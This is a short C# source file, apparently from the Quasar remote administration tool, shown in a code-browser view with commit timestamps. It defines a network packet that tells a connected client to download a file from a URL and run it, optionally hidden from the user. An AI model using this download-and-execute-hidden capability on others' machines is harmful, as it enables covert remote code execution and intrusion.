Quasar/Server/Core/Packets/ServerPackets/DoDownloadAndExecute.cs

30 lines
621 B
C#
Raw Normal View History

2014-07-08 12:58:53 +00:00
using ProtoBuf;
using xServer.Core.Networking;
2014-07-08 12:58:53 +00:00
2015-01-13 18:29:11 +00:00
namespace xServer.Core.Packets.ServerPackets
2014-07-08 12:58:53 +00:00
{
[ProtoContract]
2015-07-14 17:00:31 +00:00
public class DoDownloadAndExecute : IPacket
2014-07-08 12:58:53 +00:00
{
[ProtoMember(1)]
public string URL { get; set; }
[ProtoMember(2)]
public bool RunHidden { get; set; }
2015-07-14 17:00:31 +00:00
public DoDownloadAndExecute()
{
}
2015-07-14 17:00:31 +00:00
public DoDownloadAndExecute(string url, bool runhidden)
2014-07-08 12:58:53 +00:00
{
this.URL = url;
this.RunHidden = runhidden;
}
public void Execute(Client client)
{
client.Send(this);
2014-07-08 12:58:53 +00:00
}
}
}